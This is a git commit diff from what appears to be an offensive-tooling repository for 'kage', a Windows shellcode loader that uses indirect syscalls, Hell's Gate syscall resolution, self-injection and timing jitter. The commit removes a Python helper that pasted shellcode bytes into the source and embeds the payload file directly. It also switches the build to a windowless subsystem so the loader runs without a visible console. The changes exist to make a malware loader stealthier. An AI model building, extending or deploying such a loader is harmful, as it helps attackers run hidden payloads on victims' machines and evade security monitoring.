embedFile, windowless, no embed.py
This commit is contained in:
@@ -6,15 +6,13 @@
|
||||
|
||||
> 影に潜む
|
||||
|
||||
Shellcode loader using indirect syscalls. Self-injection, jitter between steps.
|
||||
Shellcode loader using indirect syscalls. Self-injection, jitter between steps. Also Windowless proccess.
|
||||
|
||||
## Build
|
||||
|
||||
```bash
|
||||
# 1. place your shellcode as valak.bin in this directory
|
||||
# 2. embed it into the source:
|
||||
python3 embed.py
|
||||
# 3. compile:
|
||||
# 2. compile:
|
||||
zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
||||
# → zig-out/bin/kage.exe
|
||||
```
|
||||
@@ -48,7 +46,6 @@ src/
|
||||
├── syscall.zig Hell's Gate extraction + PEB ntdll finder
|
||||
├── hells_gate.s asm dispatch (XOR globals)
|
||||
build.zig
|
||||
embed.py embeds valak.bin into main.zig
|
||||
```
|
||||
|
||||
## License
|
||||
|
||||
@@ -19,7 +19,7 @@ pub fn build(b: *std.Build) void {
|
||||
});
|
||||
|
||||
module.addAssemblyFile(b.path("src/hells_gate.s"));
|
||||
exe.subsystem = .Console;
|
||||
exe.subsystem = .Windows;
|
||||
|
||||
b.installArtifact(exe);
|
||||
|
||||
|
||||
@@ -1,20 +0,0 @@
|
||||
with open("valak.bin", "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
lines = []
|
||||
for i in range(0, len(data), 12):
|
||||
chunk = data[i:i+12]
|
||||
lines.append(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
|
||||
|
||||
with open("src/main.zig") as f:
|
||||
content = f.read()
|
||||
|
||||
start = content.index("const shellcode = [_]u8{")
|
||||
end = content.index("};\n\nfn", start) + 3
|
||||
new_block = "const shellcode = [_]u8{\n" + "\n".join(lines) + "\n};"
|
||||
content = content[:start] + new_block + content[end:]
|
||||
|
||||
with open("src/main.zig", "w") as f:
|
||||
f.write(content)
|
||||
|
||||
print(f"Embedded {len(data)} bytes")
|
||||
+1
-3
@@ -13,9 +13,7 @@ fn ok(comptime fmt: []const u8, args: anytype) void { print("[+] " ++ fmt ++ "\n
|
||||
fn info(comptime fmt: []const u8, args: anytype) void { print("[*] " ++ fmt ++ "\n", args); }
|
||||
fn err(comptime fmt: []const u8, args: anytype) void { print("[-] " ++ fmt ++ "\n", args); }
|
||||
|
||||
const shellcode = [_]u8{
|
||||
// paste your shellcode bytes here
|
||||
};
|
||||
const shellcode = @embedFile("../valak.bin");
|
||||
|
||||
fn banner() void {
|
||||
print(
|
||||
|
||||
Reference in New Issue
Block a user